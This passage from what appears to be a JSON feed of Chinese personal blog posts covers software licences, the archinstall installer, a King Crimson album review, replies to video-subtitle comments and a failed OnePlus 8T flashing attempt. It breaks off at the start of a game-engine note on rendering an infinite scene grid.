引擎写了一个授权,也是禁止未经允许的商用,而且还要求使用者尽量明智地自己解决阅读代码中遇到的问题,他可能没有时间一一回复。\u003c/li\u003e\n\u003cli\u003eHeretic和Hexen的代码开源的时候,授权是动视的EULA,导致开源社区根本没法在项目中使用。后来在社区的强烈要求下,代码的授权在2008年的时候改成了GPLv2。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e个人评价:如果你对有些事情有些看法的话,可以试试这种类型的。不过你得自己写一个,一般魔改MIT协议是一个省力的好办法。\u003c/p\u003e\n\u003cp\u003e我的字幕授权一开始是CC0+Anti996授权,后来我对之前遇到过的两次官方视频翻译组出现的一些问题(8bitguy天降机翻正义事件和Chub翻译组组长跑路事件)有点在意,所以自己写了一个。先耐下心,最后再给大家贴出来。\u003c/p\u003e\n\u003ch2 id=\"闭源协议\"\u003e闭源协议\u003c/h2\u003e\n\u003cp\u003e这是大家遇到最多的协议了,一般条款苛刻,而且十分倾向开发者的利益。站在文化的交流和自由的角度,我绝对不推荐任何人使用这种协议。不过你用了我也管不着,你的自由啊:-)\u003c/p\u003e\n\u003cp\u003e有一个特例是Everything,他的二进制文件是MIT授权,而原作者没有公布代码。\u003c/p\u003e\n\u003cp\u003e而字幕嘛\u0026hellip;\u0026hellip;我觉得根本无法闭源啊,只要视频在,总能读出来的嘛。\u003c/p\u003e\n\u003ch2 id=\"公有领域\"\u003e公有领域\u003c/h2\u003e\n\u003cp\u003e这种东西呢,是作者放弃所有权利的产物。字幕方面,我是绝对不会推荐使用这个协议的。软件代码就看着办吧,我的作业代码就是公有领域的。\u003c/p\u003e\n\u003ch2 id=\"我的协议\"\u003e我的协议\u003c/h2\u003e\n\u003cp\u003e好了,该把我的协议贴出来了。去我网页看吧。\u003c/p\u003e\n\u003cp\u003e谢谢阅读。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/2UrIqVcRG3YiECJ.jpg\" alt=\"Featured image of post archinstall 初体验 (省流文字版)\" /\u003e\u003cp\u003e再编辑版注:鉴于该软件在我回顾的时候,已经有所改变,故这里不放出所有贴图。各位想了解的话,看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Archinstall\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e继2012年Arch Linux弃用了安装器之后,在今年的4月1日,官方发布了全新的安装器,不过仍在实验阶段。今天我来体验一下。视频版在此,不建议不开倍速观看:\u003cbr\u003e\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\u003cdiv class=\"video-wrapper\"\u003e\r\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV1GA41157XK\"\r\n scrolling=\"no\"\r\n frameborder=\"no\"\r\n framespacing=\"0\"\r\n allowfullscreen=\"true\"\r\n \u003e\r\n \u003c/iframe\u003e\r\n\u003c/div\u003e\r\n\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e步骤\u003c/h2\u003e\n\u003cp\u003e首先,搞到一个2021-04-01及之后版本的Arch Linux安装镜像,启动后在命令行下输入\u0026quot;archinstall\u0026quot;命令即可运行该安装程序。\u003cbr\u003e\n首先出现的是键盘布局选择界面,这里在20(UK)和21(US)之间选择,UK布局较US多了一些法文字母,这样就可以打出café, coup d\u0026rsquo;etat这样的在英语中使用的法文词汇了。\u003cbr\u003e\n之后我们可以选择从哪里的服务器下载软件包,较传统的安装方式,这个可以说是方便了不少。原来的安装方式是执行个测速工具,或是直接修改mirrorlist。\u003cbr\u003e\n然后可以选择安装进的硬盘,还能选择是否覆盖安装等,不过没有分区工具选项,只能使用一个默认的分区方案,分区为/boot和根目录(该工具仅支持UEFI):-\\\u003cbr\u003e\n选择硬盘后,选择分区文件系统,除了ext4外我一无所知。这里有一个给磁盘加密的选项,挺好的。Houge_Langley@Bilibili 做了几期视频介绍,链接附下。\u003cbr\u003e\n分区配置完毕后,这里设置电脑名称,超级用户密码,添加用户。这里有两个亮点:提示不设置超级用户密码的话,会禁用超级管理员用户(虽然Linux都这样,但在这里提示也是件好事);还有赋予新用户超级管理权限(比visudo好用多了)。\u003cbr\u003e\n安装工具新提供了安装桌面环境,显卡驱动等选项,目前没有xfce,mate,lxde等:-| 至于为啥没有gnome-wayland,gnome默认为wayland。\u003cbr\u003e\n对了,archinstall是一个框架,任何会用python的人都可以用它写自己的安装脚本。\u003cbr\u003e\n我们还可以添加其他的安装包,这里我安装了两个Virtualbox客户机的模块。\u003cbr\u003e\n然后程序给出了一个总结,总觉得应该写成一个让人好明白的东西,而不是这个类似bash的配置文件。注意没有引导程序选择,因为只能选择systemd-boot,侧面体现其仍在开发。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"最后总结页面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最后总结页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n最后重启后,根据我选择的GNOME环境,程序安装并配置好了,不过VBOX增强工具没有激活,需要在上述安装完成后arch-chroot一下。\u003c/p\u003e\n\u003ch2 id=\"小结\"\u003e小结\u003c/h2\u003e\n\u003cp\u003e这个工具目前处于一个鸡肋的状态。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个工具比较不透明,我不知道选择某个选项后会出现什么结果。执行时默认也没有比较详细的信息。\u003c/li\u003e\n\u003cli\u003e他十分不灵活,选项就那几个,我只能限制在他给的选项方面选择,而不能自己决定一些东西,尤其是分区方面。\u003c/li\u003e\n\u003cli\u003e要想有自己的需求的话,安装完有些东西还得去arch-chroot输命令,我既然要输入命令的话,为啥不从头到尾都在输命令呢:-\\\u003c/li\u003e\n\u003cli\u003e对于小白的话,根据官方安装指南安装的话,至少能对Linux系统某些基本的东西(诸如分区,网络配置,软件管理等)有一定的了解,而这个东西我觉得不太能像安装指南一样起到这样的作用吧。\u003c/li\u003e\n\u003cli\u003e当然,这个安装程序可以自己写python脚本来配置。对于有定制需求的人来说,是件好事。但对于我这种有需求,但是技术不到位的人来说,就不太好了,还是走官方流程吧。\u003c/li\u003e\n\u003cli\u003e对于只是拿这个装13的人来说,只要英文过关的话,还挺方便的呢(bushi\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当然,官方也在积极改进这个软件,希望将来能够更加好用吧。也希望成熟的那一天,纯输命令的安装方式还能存在。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1BZ4y1G7ie\" target=\"_blank\" rel=\"noopener\"\n \u003eHouge_Langley 采访 felixonmars\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1s5411N7qN\" target=\"_blank\" rel=\"noopener\"\n \u003eHouge_Langley 在 ZFS 上面装 Arch Linux\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1X7411K7fo\" target=\"_blank\" rel=\"noopener\"\n \u003e老莱给大家介绍Linux的十大优越之处!\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/CZijR4n5OoP9rtL.jpg\" alt=\"Featured image of post King Crimson - Islands 听后感\" /\u003e\u003cp\u003e在1969年King Crimson发表了富有创造性的首专之后,由于各乐队成员间之间创作理念的不同,乐队分崩离析。在短短两年内产生了三张不同风格的专辑。其中第二张In the Wake of Posidon与首专过于相像,虽然好听,但是缺少创意;第三张Lizard难以让我接受,主要是其中Peter Sinfield营造的轻浮气息。而今天我要给大家介绍的第四张专辑,Island,虽然实验性是这几张中最差的,概念性也不怎么好,但是可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e这张专辑仅有的实验性部分,就是吹奏乐器的大部分使用,虽然在前一张专辑中已经这样了,但是鉴于上一专的轻浮和乐队成员间的合作不愉快,我觉得效果不如这个好。这点尤其在The Letters中明显体现了出来。在The Letters中,在情人给妻子写下了毒舌信后,上来的萨克斯沉重有力,与前面平静的声音形成了鲜明的对比,体现了情人收到信后沉重无比的心。之后的萨克斯演奏逐渐由混乱到平静和坚定,体现了妻子的伤心难受和之后的坚强面对。在这首歌中,萨克斯的吹奏对这首歌气氛的渲染有十分明显的影响。而在其他歌曲中,吹奏乐器更是音乐中不可或缺的一部分,无论是Song of Gulls中悠扬的长笛,Sailor\u0026rsquo;s Tail中萨克斯代表着大风,还是Islands中长号的尾奏,都让我印象深刻。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e当然,除了我上面说到的,Sailor’s Tail精妙的结构和Song of Gulls的古典化和弦之外,我在这张专辑中很难找到其他的实验性特点了,这对于一张前卫摇滚专辑而言,是不合格的。第一首Formentera Lady就是两个贝斯音符的重复为底,再点缀些令人放松的乐器。而Ladies of the Road基本上就是词作者Peter Sinfield泡妞体验的综合,再加上Robert Fripp和弦,然后直接塞给你了,我是真不喜欢。最后的压轴曲,Island,基本上就是主旋律用各种乐器重复演奏,听多了容易审美疲劳。相比较而言,Lizard虽然我十分讨厌,但不得不承认,单凭最后一首23分钟的史诗,它的实验性也比这张强。\u003c/p\u003e\n\u003cp\u003e说到Robert Fripp,我觉得他这张专辑有点不在状态。首先是将自己之前写的歌曲和弦改编一下就用了。举例来说,Song of the Gulls改编自Robert Fripp于1968写的Suite No.1,那时他还在Giles, Giles \u0026amp; Fripp里面打杂手。然后就是Sailor\u0026rsquo;s Tail结尾的扫弦,因为他当时巡演累坏了,实在是想不出该弹啥了。还有就是与乐队真正的领头人Peter Sinfield在创作上的矛盾,导致他基本不和其他乐队成员来往了,最后一通电话,解散了乐队。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e在这张专辑中,我还要说出一点我很不理解的事情,就是这张专辑整体的概念设计。上一张专辑主要是描述英国资产革命期间的保皇派领袖Prince Rupert的英勇战斗。而这回话锋一转,我们来到了温暖的热带群岛,远处的帆船经过与风暴的搏斗后,疲惫地停落在此。夕阳西下,海鸥翱翔,我们在海浪的拍打声中逐渐入眠。这张专辑的概念,要我说,也太不前卫了吧。首专和二专的主题是反战和对现代社会的反思,三专的主题是中世纪和冒险,都体现了词作者Peter Sinfield的家国情怀和历史底蕴。难道在反战运动结束以后,Sinfield去某个热带岛屿度个假之后,整个人就散漫下来了?但不得不说,就这种烂大街的主题,经由乐队的合力协作,再加上仅有的一点实验性,听感在我看来,是最好的。也是我觉得,最能让普罗大众接受的一张King Crimson专辑了吧。所以我说,这张专辑的可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e总体而言,虽然这张专辑实验性不强,概念上又很简单,但是我还是很喜欢这张专辑的。浪漫,轻松,又很好理解。对于现在处于加速过度社会的我们而言,也许这张慢节奏的专辑能我们在短短的44分钟内来个海南一周游,好好放松一下。\u003c/p\u003e\n\u003cp\u003e说到海南一周游,还有一件事。我不想开学啊!!!\u003c/p\u003e\n\u003cp\u003e推荐链接:\u003cbr\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1906\" target=\"_blank\" rel=\"noopener\"\n \u003eProg Archive上的评论\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/436-King-Crimson-Islands\" target=\"_blank\" rel=\"noopener\"\n \u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\n \u003e南方翻译的纪录片片段\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/OxMmK6yZD9vE2Xu.png\" alt=\"Featured image of post 过年了,给大家回复弹幕,然后瞎扯两句\" /\u003e\u003cp\u003e一般我会在评论区给大家回复交流,但是弹幕就没法给大家回复了,因此,趁今天过年,我给大家统一回复一下,顺便瞎扯两句。\u003cbr\u003e\n在此之前,首先,感谢大家在弹幕中对我字幕中的错误做出指正。其次,感谢在弹幕中分享知识的人。\u003c/p\u003e\n\u003ch2 id=\"第一个老先生的本性释放时间建议自行震撼\"\u003e第一个:老先生的本性释放时间(建议自行震撼)\u003c/h2\u003e\n\u003cp\u003e【熟肉】震惊,Robert Fripp居然弹起了齐柏林飞艇\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDiment@Bilibili: 可怜又无助的Fripp\u0026hellip;\u0026hellip;\u003cbr\u003e\n回复: Fripp:我的媳妇,我管不住啊!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到Fripp的释放本性,你们可以听听Island专辑中的Ladies on the Road。先不说大色狼Peter Sinfield写的歌词,先是开头Fripp的吉他滑音,就让我觉得这首歌绝对不是什么正经歌曲。后来唱歌的时候,Fripp的吉他也是被迫地极尽调戏本性。辛亏后来Mel Collins的吹奏乐器给Fripp救了场,要不Fripp演半截就要走人了,歌曲的后半部分我很难听到吉他的声音了。\u003cbr\u003e\n不过说真的,如果你们喜欢King Crimson的话,你们可以 @南方History,他上传了很多关于King Crimson的视频,还有一个专业乐评。\u003c/p\u003e\n\u003ch2 id=\"第二个某个疯子花了一个小时装了一台废铁这是我爸说的\"\u003e第二个:某个疯子花了一个小时装了一台废铁(这是我爸说的)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 攒一台486 DOS电脑!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原字幕:And since ever the dawn of time, in fact, I think those 2032s predate humanity.\u003cbr\u003e\n这里大概就是开玩笑说CR2032这玩意存在很久了甚至在史前没有人类的时候就出现了hhhhhhh\u003cbr\u003e\n回复:谢谢 whc2001 的注解,其实LGR的视频很多话我都不太明白,而且他的语速还贼快。\u003c/p\u003e\n\u003cp\u003e原字幕:“Have you seen these faces?” My God.\u003cbr\u003e\n翻译为:“你见过他们吗?” 这波吟唱lttstore.com\u003cbr\u003e\n@Linus Tech Tips\u003cbr\u003e\n回复:Linus没有给我广告费。另外,我觉得自从疫情以来,LTT有点不太好过。现在LTT必须有一段请求关注和周边广告,而且有些赞助视频质量不太好(不包括 活 笑 料 )\u003cbr\u003e\n回顾:现在的LTT,还是安东尼好。\u003c/p\u003e\n\u003cp\u003e那时候还没有通道这个概念随便插的嘛?\u003cbr\u003e\n我上网查了一下,这个应该是EDO内存,而通道内存的概念得DDR出现了吧,那都1998年了吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这个视频我喜欢的地方是后面调试软件的部分,可是我查看后台发现大家更喜欢前面的动手部分,我可能折腾软件太多了吧(毕竟我不是飘哥,他从小学开始就玩硬件)。\u003cbr\u003e\n另外,这个是Bilibili上第二个,也是第一个被广泛关注的LGR视频(第一个是BV1Js411v7o1,讲的是MO磁光盘)。第一个熟肉LGR视频是由蟒人摸象翻译的,而播放量最多的LGR熟肉是由初生之鸟翻译的。\u003cbr\u003e\n我是在高二暑假时看到了很多这样的视频,我第一个关注的是David Murray。(有意思的是,前The8-BitGuy授权翻译HikariCalyx,能解锁诺基亚),然而我是在高考完之后才开始翻译视频的。而这个视频也大幅提高了我的关注度,某科学的小姚同志和pingatsky等搬运工也邀请我加入了翻译工大家庭,从此走上了翻译视频的不归路:-)所以,感谢这个平台和所有帮助我,关注并支持我的人吧。\u003c/p\u003e\n\u003ch2 id=\"第三个john-carmark-yyds因为他开放了doom源代码\"\u003e第三个:John Carmark yyds(因为他开放了DOOM源代码)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR游戏评测 - 就算过了几十年,《毁灭战士》还是好游戏!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.最简单难度:我这么年轻就想死(I\u0026rsquo;m too young to die)\u003cbr\u003e\n2.不要太嚣张了(Not too Rough)\u003cbr\u003e\n3.痛打我吧!(Hurt me Plenty)\u003cbr\u003e\n4.终极暴力(Ultra-Violence)\u003cbr\u003e\n5.噩梦模式(Nightmare)\u003cbr\u003e\n感谢工程师NopeNope 提供的翻译。我觉得最简单难度那里有个问号吧。\u003c/p\u003e\n\u003cp\u003e1.深入尸堆(Knee-Deep in the Dead)\u003cbr\u003e\n2.地狱之海(The Shores of Hell)\u003cbr\u003e\n3.炼狱的试炼(Inferno)\u003cbr\u003e\n同理,感谢提供翻译的人。实际上我玩的时候,没有注意这些。电子游戏的剧情真的就是爱情动作片呗(John Carmark因此开除了Tom Hall)。\u003c/p\u003e\n\u003cp\u003e勘误:Unreal和Thief都是该时代相对先进的第一人称游戏\u003cbr\u003e\n感谢今哥的野望的勘误。Unreal在1990年由育碧发行,而Thief是1981年发行的街机游戏。详询可以Bing一下。\u003cbr\u003e\n回顾:Unreal是虚幻啊,我当时在想什么\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e毁灭战士绝对是一个好游戏,我玩的十分上劲。而这个视频也是我的得意之作,因为这个视频的梗我玩的十分的溜(不是),因为当时我看经典名著电视剧比较多(没错,我在高考后才开始看)。顺便说一句,我到现在为止仍然很不喜欢《红楼梦》,不过里面的贾母让我想到了我的奶奶,都是十分疼爱孙子的。\u003cbr\u003e\n实际上现在有很多游戏的画质更好,但我觉得有些游戏真正吸引我的是玩法的复杂多样和音乐的经典。这个游戏的玩法说简单,就是WASD(不是原版,是GZDOOM),说复杂,就有平移跳跃之类,而在这方面我基本不懂,而且我也是手残党。\u003cbr\u003e\n而在音乐方面,就是Bobby Prince编写的重金属配乐。节奏感和旋律性十分强,有些配乐我也十分喜欢(诸如DOOM二代中的《DOOM》)。作为King Crimson的乐迷,我建议大家去听听《Starless》和E1M8的配乐:-)\u003c/p\u003e\n\u003ch2 id=\"第四个没事你用什么机架8bitguy的痛恨\"\u003e第四个:没事你用什么机架(8BitGuy的痛恨)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 组建一个更大,更好的MIDI机架山\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原来是提供了很多专业设备名称,我懒得截图了\u0026hellip;\u0026hellip;\u003cbr\u003e\n捕捉到大神 @我的同桌是初音\u003c/p\u003e\n\u003cp\u003e颜文字狂魔up(当时我的字幕随着音乐出现了Maggie Simpson的字符画)\u003cbr\u003e\n要不然这么长的音乐你就光看着没劲的电脑屏幕。顺便说一句,这叫ASCII艺术。而这个是我的女神Maggie(因为她太可爱了)\u003c/p\u003e\n\u003cp\u003efedora forever(当时我的字幕随着音乐出现了一直牛说\u0026rsquo;Use Arch Linux at archlinux.org:-)\u0026rsquo;)\u003cbr\u003e\nFedora我用过一段时间,确实软件包很新,软件更迭很快。但是Arch可以私人定制,所以我觉得还是Arch好(我是不会用gentoo的,没时间编译内核)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本期视频我认为体现出LGR视频的一些特点。首先是口语的泛滥,他说话经常出现连词,因思想跟不上而出现的停顿(也许我搬运的视频都倾向于这些吧)。其次是内容,LGR的视频在专业的地方,确实是在认真地给大家讲;提前准备好的部分也能很好地把握时间;不过一到动手体验部分,就有点vblog的感觉了(尤其是上期讲SD卡相机)。这就导致LGR的视频在某种意义上,十分地长,我翻译也是越来越烦。那期线上淘二手我直接上机翻,结束噩梦了。\u003cbr\u003e\n回顾:LGR的视频已经越来越长,早期视频更好受些。他废话能少些吗?!\u003cbr\u003e\n说到机翻,我发现有人在Bilibili上传LGR的机翻视频,还有4K噱头,差点将一个刚翻译视频的给劝退了。我又想到了8bitGuy的空降正义,结果因为机翻太差,人民群众将原搬运工给叫了回来。对于这种现象,我是十分厌恶的。你这么做,这既是对原作者的不尊重,也是对我们翻译工的不尊重。原作者制作视频,是为了传播知识,而我们翻译视频,也是出于这样的目的。\u003c/p\u003e\n\u003ch2 id=\"第五个一个十分遗憾的乐队建议亲自观看体会\"\u003e第五个:一个十分遗憾的乐队(建议亲自观看体会)\u003c/h2\u003e\n\u003cp\u003e【熟肉】论低情商如何害了Deep Purple\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人事问题不仅仅是情商的问题。\u003cbr\u003e\n回复:确实是这样。人事问题还跟利益关系,个人性格等有关。Blackmore和Gillan在音乐方向上就不同,再加上两个人都很强势,这些是Mk2解散的根本原因。而低情商主要在于Blackmore将Glover给赶出去,Blackmore不喜欢Gillan,就拿他介绍过来的Glover撒气。实际上Glover不仅会弹Bass,而且会设计(他参与了Machine Head和Who Do We Think We Are!的封面,内页设计),会制作音乐,他的离去对于Deep Purple来说,绝对是一个打击。我觉得那个纪录片最重要的地方就是这个了,其他的诸如组队,录制洗脑神曲方面我觉得倒不重要。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到听音乐,我首先是从娘胎里开始听加州旅馆(还是1994地球厅那版,可惜CD让我给划了:-P)。到了初中我开始听张学友等经典音乐,因为网易云推荐(然后我天天在班里唱“吻鳖”)。到了高中,我开始知道了Pink Floyd,我最开始的那两个视频就是这个。然后是重金属三大头,Yes,King Crimson,Mike Oldfield,Genesis等前卫摇滚,进而是Metallica的前卫金属时期(The Call of Ktulu真是洗脑得不得了)\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结:\u003c/h2\u003e\n\u003cp\u003e还有好多想说的,不过我都在评论区里说完了,加上时间不早了,所以基本就是这些了。如果大家有啥想说的,留个言呗;如果大家喜欢的话,转发一下呗。祝大家新春快乐:-)\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" alt=\"Featured image of post 我的一加8T刷机失败记录\" /\u003e\u003cp\u003e注意:本文不是详细教程,只是我的痛苦体验罢了,文章末尾我会给链接的。\u003c/p\u003e\n\u003cp\u003e最近我的 Nokia(HMD) 7 Plus 的充电口彻底没有办法充电了,所以我妈给我买了一台一加8T:-)\u003c/p\u003e\n\u003cp\u003e到手的第一件事嘛\u0026hellip;\u0026hellip;一定是解锁呀。辛亏一加的解锁是相当容易的,开发者模式中开启“OEM 解锁”,然后 adb reboot bootloader 进入fastboot,再运行 fastboot oem unlock,手机上音量加减选择解锁,电源键选择即可。\u003c/p\u003e\n\u003cp\u003e然后我没想到的部分还是来了,鉴于本手机刚刚发布,很多第三方系统还没有完全适配。我最想用的Lineage没有官方,而crDroid是Beta品质,这都是我后来才发现的:-P\u003c/p\u003e\n\u003cp\u003e不过官方论坛上有教程,那自然是得一顿操作啦。可惜呢\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是我在Windows下的第二次失败,第一次是在Linux下的\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是我在Windows下的第二次失败,第一次是在Linux下的\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e开始是Linux系统下失败,然而在Windows下也失败了。我暂且认为是开发者用的是256G的,可我的是128G的原因吧。\u003c/p\u003e\n\u003cp\u003e无论如何,我必须得救砖了。然而救砖软件是Windows独占,我就启动了该死的Windows虚拟机,手机完全关机并同时按住上下键,映射到虚拟机(设备名字开头是高通啥的)。结果报错,自动检测DDR失败。我想是因为虚拟机映射有问题,所以我直接重装了该死的Windows(我上期翻译的视频字幕文件没了,其他的因为备份了,还在)来救砖。有一次电脑不认,我按住了上下键和电源键来强制开机。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e救砖成功了,我又在Windows下尝试了好几遍fastboot,全部失败:-P 我看等成熟的卡刷可以实现的时候再说吧。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/failure-on-flash-oneplus-8t.html"}]},{"name":"Stalo's Note","email":"Unknown","uri":"https://note.stalomeow.com/","description":"Stalo's notebook.","article":[{"title":"Scene View 无限网格","time":"2024-10-13T14:47:30Z","content":"\u003ch1 id=\"Scene-View-无限网格\"\u003eScene View 无限网格\u003ca class=\"headerlink\" href=\"#Scene-View-无限网格\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e大部分 DCC 都有无限网格,帮助我们确定物体所处的空间位置。我也给自己的引擎加上了这个功能。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"红色是 X 轴,蓝色是 Z 轴\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014094522.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"根据距离自动分层\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014094627.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"思路\"\u003e思路\u003ca class=\"headerlink\" href=\"#思路\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e因为网格是无限大的,所以我第一反应就是屏幕空间重建世界坐标绘制。我看了下 Unity 的实现,应该是 CPU 上把网格算好,然后生成 Line List Mesh,再给 Shader 画上去。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Unity 的实现\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014100816.png\" /\u003e\u003c/p\u003e\n\u003cp\u003eUnity 的实现感觉有点麻烦,我还是用屏幕空间了。\u003c/p\u003e\n\u003ch2 id=\"重建世界坐标\"\u003e重建世界坐标\u003ca class=\"headerlink\" href=\"#重建世界坐标\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e之前我写过 \u003ca href=\"../depth-reconstruct-world-position/\"\u003e深度重建世界坐标\u003c/a\u003e 的方法,但这次深度是未知的,不能直接用。我看网上的文章都是近平面算一个点,远平面算一个点,计算连线和 XOZ 平面的交点。\u003c/p\u003e\n\u003cp\u003e其实深度可以直接算出来。因为 XOZ 平面上的点 \u003ccode\u003epositionWS.y == 0\u003c/code\u003e,带入 \u003ca href=\"../depth-reconstruct-world-position/\"\u003e深度重建世界坐标\u003c/a\u003e 逆矩阵法的推导中,由公式\u003c/p\u003e\n\u003cdiv 